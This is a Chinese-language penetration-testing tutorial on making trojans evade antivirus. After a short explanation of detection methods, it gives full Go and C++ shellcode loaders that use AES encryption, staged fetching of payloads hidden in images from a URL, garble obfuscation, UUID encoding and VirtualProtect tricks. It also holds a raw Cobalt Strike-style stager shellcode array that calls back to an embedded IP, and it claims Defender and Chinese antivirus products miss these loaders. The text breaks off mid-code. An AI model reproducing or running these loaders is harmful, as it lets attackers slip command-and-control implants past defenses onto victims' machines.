渗透测试-木马免杀的几种方式

0x01前言

免杀就是反病毒技术,,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编逆向工程系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。免杀的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。

免杀技术也并不是十恶不赦的,例如,在软件保护所用的加密产品(比如壳)中,有一些会被杀毒软件认为是木马病毒;一些安全领域中的部分安全检测产品,也会被杀毒软件误杀,这时就需要免杀技术来应对这些不稳定因素。

0x02查杀方式及原理

杀毒软件基本原理

1. 无害

没有任何可疑行为,没有任何特征符合病毒。

2. 可疑

存在可疑行为:操作注册表,打开powershell,修改用户,操作敏感文件等。

3. 病毒

特征符合病毒。

杀毒软件常用识别方式

1. 静态:

从病毒体中提取的病毒特征码,逐个与程序文件比较。特征码是反病毒公司在分析病毒时,
确定的只有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别
开来。
静态特征码免杀针对kingsoft,macafee、Avira、trendmicro免杀效果比较明显。

静态查杀:一般根特征码识别到,然后对文件进行特征匹配。

hash值以及二进制特征

这个hash和二进制特征依赖于杀软自身的杀软特征库,举个例子你用cs原生生成的exe或者bin文件是基本上100%被杀软识别的,也就是说原生文件有特征是被各大厂商所识别的,毕竟cs作为以前的主流c2,其特征早就被各大厂商分析透彻了。如何比避免bin文件被识别,最简单的方式就是使用rc4 或者 aes对你的bin文件进行加密。

iat表

这个算是静态查杀的一个核心重点,以分离式为例子,loader.exe+shellcode文件loader内部是不存在shellcode的,这样的好处是不会造成你的pe文件被扫描时内部出现大量的加密字符串提高你的熵值,并且可以立刻排除是shellcode文件导致的你的loader被查杀。回归正题,大部分编译好的exe文件都是存在iat表,它会记录你的调用函数如图:

争议

对于是否给你的exe添加图标,以我的经验是完全不需要的,甚至添加图标会被杀软表示为特征。其次就是签名,之前用过的py盗取签名的方式其实是非常糟糕的,在实践环境中,所以这就是为什么现在基本上使用白加黑的原因,当然这里不得不说360,我个人的对抗环境是不存在360和火绒的和一些国内的杀软,但有朋友希望我做bypass 360时,我发现360基本上通杀白加黑并且system32下的dll劫持基本上都被杀,如果你改了dll名字就是正常的,这样你也就无法加载你的黑dll了,所以对于360,我最终是用loader+bin的形式bypass核晶+鲲鹏,并执行cmd操作。

2. 启发式查杀

启发式查杀是虚拟机引擎和行为检测相结合,通过模拟执行, 分析程序行为的安全检测技术。

启发式查杀(动态查杀):主要是对其产生的行为进行检测。

3.云查杀

云安全机制是一种新兴的安全查杀机制,不同的安全厂商的云安全查杀机制不一样。基于云共享特征库扫描机制360 安全卫士,电脑管家,基于主动防御信誉云的扫描机制。

云查杀:查毒的原理是对文件内容及行为的检测,要实现这个需要唯一确定文件吧,md5?当大文件时,效率较低,随便改个字节都变了,所以就有了提特征(针对所有文件,根据指定位提取唯一信息,速度快)。

  1. 可构建行为库进行动态查杀
  2. 可构建日志库对日志库进行动态查杀
  3. 统计学检测—>构建特征学习模型—>进行动态查获取就好了

0x03 绕过思路总结

面对不同的杀毒引擎,有不同的绕过思路,大体分为以下几种:

1. 如何绕过静态查杀?

1.1 动态调用API

1.1.1 特征码定位;

1.1.2 动态获取API地址;

1.1.3 自己调用;

1.2 代码混淆技术

定位到被查杀的函数块,然后通过 API 乱序调用或者插入一些正常其它API调用, 如释放文件时采用单个字节循环写入。

1.3 底层API替代调用

当模块在进行特殊操作的时候被杀,可以采用调用底层的API接口完成同样的功能,如使用CreateProcessInternalW创建进程,NtQuerySystemInfomation获取系统信息,以及一些其它的Native API。

1.4 加壳保护

自己开发的代码保护工具进行加壳保护。

2.如何突破启发式查杀?

2.1 内存载入解析技术

自己在内存中完成对模块的载入、修复和调用。

2.2 模块二次载入技术

当需要调用一些敏感模块的时候,可以采用在内存二次载入我们的目标模块,然后动态查找EAT 完成函数调用。 启发检测。

0x04 免杀绕过实战:

1. AES 加密shellcode

https://github.com/Ed1s0nZ/GoYiyi

将shellcode进行AES加密之后,用加载器去解密+加载:

aes.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package main

import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
)

const (
StdLen = 16
UUIDLen = 20
iv = "0000000000000000"
)

var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")

func Get_aes_key() []byte {
return NewLenChars(StdLen, StdChars)
}

// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
if length == 0 {
_ = 1
}
clen := len(chars)
if clen < 2 || clen > 256 {
panic("Wrong charset length for NewLenChars()")
}
maxrb := 255 - (256 % clen)
b := make([]byte, length)
r := make([]byte, length+(length/4)) // storage for random bytes.
i := 0
for {
if _, err := rand.Read(r); err != nil {
panic("Error reading random bytes: " + err.Error())
}
for _, rb := range r {
c := int(rb)
if c > maxrb {
continue // Skip this number to avoid modulo bias.
}
b[i] = chars[c%clen]
i++
if i == length {
return b
}
}
}
}

func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}

func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {

block, err := aes.NewCipher(key)
if err != nil {
return "", err
}

blockSize := block.BlockSize()
fmt.Println(blockSize)
encodeBytes = PKCS5Padding(encodeBytes, blockSize)

blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
crypted := make([]byte, len(encodeBytes))
blockMode.CryptBlocks(crypted, encodeBytes)

return base64.StdEncoding.EncodeToString(crypted), nil
}

func main() {
var payload = []byte{} // 这里放CS 生成的shellcode(C语言) 修改为形如: 0xfc,0x00的格式
key := "zizwsxedc1234567"
b, _ := AesEncrypt([]byte(payload), []byte(key))
fmt.Println("key: " + string(key))

fmt.Println("enc_info: " + string(b))

}

loader.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)

var iv = "0000000000000000"

func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func CError(err error) {
if err != nil {
fmt.Println(err)
return
}
return
}

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 90
KEY_2 = 91
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
var enc_key1 = "zizwsxedc"
var enc_key2 = "1234567"
var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三个(aesaes=替换为shellcode)里面放加密过的shellcode
shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

将aes加密过的shellcode放到loader里去加载(把shellcode放到数组里是为了不让shellcode单独成为一个参数提高免杀概率,无其他意义。)

defender、360、火绒检测不到,且能正常执行命令。

2. shellcode分离免杀

将shellcode和加载器分离出来,将shellcode加密写入到一个文本、图片、网站body,让loader去访问并加载:

code.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package main

import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io/ioutil"
"os"
)

const (
StdLen = 16
UUIDLen = 20
iv = "0000000000000000"
)

var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")

func Get_aes_key() []byte {
return NewLenChars(StdLen, StdChars)
}

// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
if length == 0 {
_ = 1
}
clen := len(chars)
if clen < 2 || clen > 256 {
panic("Wrong charset length for NewLenChars()")
}
maxrb := 255 - (256 % clen)
b := make([]byte, length)
r := make([]byte, length+(length/4)) // storage for random bytes.
i := 0
for {
if _, err := rand.Read(r); err != nil {
panic("Error reading random bytes: " + err.Error())
}
for _, rb := range r {
c := int(rb)
if c > maxrb {
continue // Skip this number to avoid modulo bias.
}
b[i] = chars[c%clen]
i++
if i == length {
return b
}
}
}
}

func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}

func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {

block, err := aes.NewCipher(key)
if err != nil {
return "", err
}

blockSize := block.BlockSize()
fmt.Println(blockSize)
encodeBytes = PKCS5Padding(encodeBytes, blockSize)

blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
crypted := make([]byte, len(encodeBytes))
blockMode.CryptBlocks(crypted, encodeBytes)

return base64.StdEncoding.EncodeToString(crypted), nil
}
func WriteFile(aes string) {
var f *os.File
filename := "./shellcode.txt"
f, _ = os.Create(filename)
defer f.Close()
_, err := f.Write([]byte(aes))
if err != nil {
return
}
}
func WriteImage(aes string) {
fname := "./a.jpg"
content, err := ioutil.ReadFile(fname)
err1 := ioutil.WriteFile("./a.jpg", content, 0666)
if err1 != nil {
fmt.Println("write file failed, err:", err)
return
}
fmt.Printf("%[[v]]", content)
if err != nil {
fmt.Printf("open file faild,err:%s\n", err)
return
}
f, err := os.OpenFile("./a.jpg", os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)
if err != nil {
fmt.Println(err)
}
f.WriteString(aes)
f.Close()
fmt.Println("写入成功!")
}

func main() {
var payload = []byte{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xb3,0x15,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x62,0x4e,0x34,0x79,0x00,0x3b,0x7a,0x28,0x46,0x2a,0x69,0x2c,0xf7,0x14,0xe2,0x22,0x24,0xfe,0xc0,0x23,0xac,0xcb,0x78,0xef,0x52,0xd9,0xcf,0x89,0xcf,0x4d,0x2b,0x58,0x8a,0x06,0x9f,0x92,0x54,0x20,0x49,0x9e,0x13,0xf9,0x8e,0x56,0xab,0x50,0xb5,0x82,0xe5,0x61,0xe4,0xdf,0xbe,0x25,0x10,0xf1,0xa6,0x34,0xb3,0x14,0x29,0x82,0xd8,0xe1,0x89,0x4a,0x87,0x82,0x79,0x88,0x7c,0x24,0x57,0xe1,0x49,0xc9,0xe5,0x33,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x34,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x38,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x35,0x2e,0x31,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x34,0x2e,0x30,0x3b,0x20,0x2e,0x4e,0x45,0x54,0x20,0x43,0x4c,0x52,0x20,0x31,0x2e,0x31,0x2e,0x34,0x33,0x32,0x32,0x3b,0x20,0x42,0x4f,0x49,0x45,0x38,0x3b,0x45,0x4e,0x55,0x53,0x29,0x0d,0x0a,0x00,0xc0,0xc3,0x8d,0x65,0x38,0xca,0x0c,0x93,0xc0,0xbd,0xf5,0x27,0xdc,0xdb,0x12,0xe5,0xef,0x3b,0xfe,0xc4,0x43,0x2c,0x7a,0xb1,0x0e,0xba,0x25,0x17,0x96,0xd3,0xb3,0xbb,0xde,0xf7,0x3d,0x47,0x10,0xeb,0x63,0x04,0xc0,0x7f,0x4a,0xbb,0xda,0x0b,0x71,0x9e,0x5b,0xba,0xeb,0x87,0x01,0x53,0xc0,0x13,0xa5,0x2a,0xfc,0x2e,0x8c,0xbc,0x12,0xcf,0x18,0xc5,0xc8,0x33,0xa6,0x40,0xe8,0xd0,0xf2,0x5f,0xa9,0xca,0xb4,0xb9,0x61,0xa1,0xcd,0x8d,0x50,0x1c,0x31,0xb8,0xdd,0x69,0x0c,0xb2,0xa1,0xd6,0xf1,0xc9,0xcf,0x5a,0xec,0xb5,0xab,0x24,0x46,0x83,0xe5,0x49,0x5c,0xd8,0xe8,0x35,0x35,0xd8,0x75,0x87,0x96,0x57,0x6a,0x17,0x3a,0x6b,0xa3,0x7a,0x2b,0x28,0xc2,0xae,0x2a,0x62,0x0d,0xcc,0x7e,0x29,0x2c,0x9e,0xe6,0x38,0x76,0xfe,0x92,0x9a,0xc5,0x2c,0xc1,0x68,0xf7,0x84,0x33,0xd2,0x74,0xa7,0xcb,0x41,0x0d,0x0f,0x2f,0x24,0xaa,0x22,0xed,0xb2,0xfb,0x18,0xac,0x33,0x11,0xab,0x77,0x50,0x2c,0xaf,0xdc,0x33,0xf0,0x4f,0xce,0xe1,0x27,0x1a,0x5b,0x2e,0x9d,0xd7,0x2b,0x93,0x65,0x38,0xfd,0x04,0xbc,0x53,0x22,0xd8,0xc4,0x46,0xe0,0x0c,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x38,0x2e,0x34,0x32,0x2e,0x36,0x33,0x00,0x00,0x00,0x00,0x01,}
key := "eaeasdzxc1qazxsw"
b, _ := AesEncrypt([]byte(payload), []byte(key))
b = b + "=====18jokriwow0"
WriteFile(b)
WriteImage(b)

}

loader.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func main() {
encodeString := ""
arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
if strings.Contains(arg1, "http") {
resp, err := http.Get(arg1)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString = string(b[idx+2:])
} else if strings.Contains(arg1, "=====18jokriwow0") {
encodeString = arg1
} else {
fmt.Println("a")
}
//获取到aes加密的shellcode qaeasdzxc1qazxsw
var enc_key1 = "eaea"
var enc_key2 = "sdzxc"
var enc_key3 = "1qazxsw"

sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

上面这个是从参数中获取shellcode加载的方式,如果识别到http,就从url中加载图片的shellcode,如果识别到=====18jokriwow0后缀,它才会在命令行中去解密并加载shellcode,如果二者条件都没达成,则什么都不执行。

3. Golang代码混淆

看过很多golang免杀的文章,但是很多人都没提到一点,Golang的代码混淆;由于 Golang 的反射等机制,需要将文件路径、函数名等大量信息打包进二进制文件,这部分信息无法被 strip,所以考虑通过混淆代码的方式提高逆向难度,增加免杀的概率。

Github有一个开源的Golang代码混淆项目:https://github.com/burrowers/garble

安装:

1
go install mvdan.cc/garble@latest

通过包装 Go 工具链来混淆 Go 代码。需要 Go 1.17 或更高版本。

1
garble build [build flags] [packages]

只要在编译时,将go build替换为garble build即可,该工具还支持garble test使用混淆代码运行测试,以及garble reverse去混淆诸如堆栈跟踪之类的文本。请参阅garble -h了解最新的使用信息。

混淆前

反编译可以看到函数名等信息清晰可见:

img

img

混淆后

img

混淆后代码大小也从1.6m变为了1.1m。

img

混淆后微步3/25,检测为安全,打分为10分:

img

4.UUID免杀

使用Python生成uuid格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# shellcode必须是16的倍数,不足用x00补充
import uuid
shellcode=b""
print(len(shellcode))
list = []
for i in range(32): # range的范围也需要是16的倍数
bytes_a = shellcode[i * 16: 16 + i * 16]
b = uuid.UUID(bytes_le=bytes_a)
list.append(str(b))
with open("shellcode.c","w",encoding="utf-8") as f:
f.write("const char* uuids[] ={")
for UUID in list:
f.write("\""+UUID+"\""+",")
f.write("};")
print(list)

loader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
[[include]]<Windows.h>
[[include]]<Rpc.h>
[[include]]<iostream>
[[pragma]] comment(lib,"Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "e48348fc-e8f0-00cc-0000-415141505251","56d23148-4865-
528b-6048-8b5218488b52","728b4820-4850-b70f-4a4a-4d31c94831c0","7c613cac-2c02-
4120-c1c9-0d4101c1e2ed","528b4852-4120-8b51-423c-4801d0668178","0f020b18-7285-
0000-008b-808800000048","6774c085-0148-8bd0-4818-50448b402049","56e3d001-ff48-
4dc9-31c9-418b34884801","c03148d6-c141-0dc9-ac41-01c138e075f1","244c034c-4508-
d139-75d8-58448b402449","4166d001-0c8b-4448-8b40-1c4901d0418b","01488804-41d0-
4158-585e-595a41584159","83485a41-20ec-5241-ffe0-5841595a488b","ff4be912-ffff495d-be77-73325f333200","49564100-e689-8148-eca0-0100004989e5","0002bc49-5c11-
a8c0-7a92-41544989e44c","ba41f189-774c-0726-ffd5-4c89ea680101","41590000-29ba6b80-00ff-d56a0a415e50","c9314d50-314d-48c0-ffc0-4889c248ffc0","41c18948-eabadf0f-e0ff-d54889c76a10","894c5841-48e2-f989-41ba-99a57461ffd5","0a74c085-ff49-
75ce-e5e8-930000004883","894810ec-4de2-c931-6a04-41584889f941","c8d902ba-ff5f83d5-f800-7e554883c420","6af6895e-4140-6859-0010-000041584889","c93148f2-ba41-
a458-53e5-ffd54889c349","314dc789-49c9-f089-4889-da4889f941ba","5fc8d902-d5fff883-007d-285841575968","00004000-5841-006a-5a41-ba0b2f0f30ff","415957d5-75ba4d6e-61ff-d549ffcee93c","48ffffff-c301-2948-c648-85f675b441ff","006a58e7-4959-
c2c7-f0b5-a256ffd50000", };
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄
void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间
if (ha == NULL)
{
cout << "内存申请失败!" << endl;
return 0;
}
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数
for (int i = 0; i < elems; i++)
{
cout << (RPC_CSTR)uuids[i] << endl;
cout << (UUID*)hptr << endl;
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode
if (status != RPC_S_OK)//判断是否写入正常
{
cout << "UuidFromeStringA()!=S_OK" << endl;
CloseHandle(ha);
return -1;
}
hptr += 16;
}
//((void(*)())ha)();
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode
CloseHandle(ha);
return 0;
}

5.底层API绕过免杀

先看以下这两个loader

loader1.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

var iv = "0000000000000000"

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}

func Run(sc []byte) {

f := func() {}

var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}

**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}

f()
}

func PKCS5UnPadding(origData []byte) []byte {
